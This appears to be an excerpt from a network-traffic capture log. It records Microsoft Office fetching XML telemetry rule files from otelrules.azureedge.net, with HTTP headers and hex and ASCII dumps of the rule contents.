2024-11-25 23:08:38 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:38 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 7ea39611-a01e-003d-41b8-3e98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230838Z-178bfbc474bmqmgjhC1NYCy16c000000089g0000000026tr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:38 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:38 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230838Z-178bfbc474bv7whqhC1NYC1fg4000000084g00000000aeb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 23:08:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:38 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:38 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: ce292e58-401e-00a3-2e0a-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230838Z-178bfbc474bscnbchC1NYCe7eg000000089000000000b178 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:39 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:38 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 524516d5-201e-0003-0afd-3df85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230839Z-178bfbc474bgvl54hC1NYCsfuw000000080000000000sk5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:40 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:40 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:40 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: c53d1c68-c01e-0079-4ae2-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230840Z-178bfbc474bh5zbqhC1NYCkdug000000082g000000008s9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:40 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:40 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:40 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:40 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c8b3b11c-001e-008d-3e7f-3fd91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230840Z-178bfbc474bgvl54hC1NYCsfuw000000082000000000gpcv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 23:08:40 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:40 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:40 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 512d0a55-c01e-0079-2cc0-3ee51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230840Z-15b8b599d885v8r9hC1TEB104g00000006hg00000000q4ta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:41 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:40 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:41 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230841Z-174c587ffdfb74xqhC1TEBhabc00000006p000000000619t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:41 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:40 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:41 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:41 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: def4d052-b01e-0053-1eaf-3ecdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230841Z-178bfbc474bnwsh4hC1NYC2ubs000000089g000000001srg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:41 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:42 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:43 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:42 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f888113f-a01e-003d-1569-3f98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230842Z-178bfbc474bwh9gmhC1NYCy3rs000000084g00000000k5u6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:43 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:42 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:43 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:42 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230842Z-174c587ffdf89smkhC1TEB697s00000006hg00000000xbq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:43 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:42 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:43 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:43 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: cf1029bf-101e-0017-7ef6-3e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230843Z-15b8b599d88m7pn7hC1TEB4axw00000006mg00000000esqp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
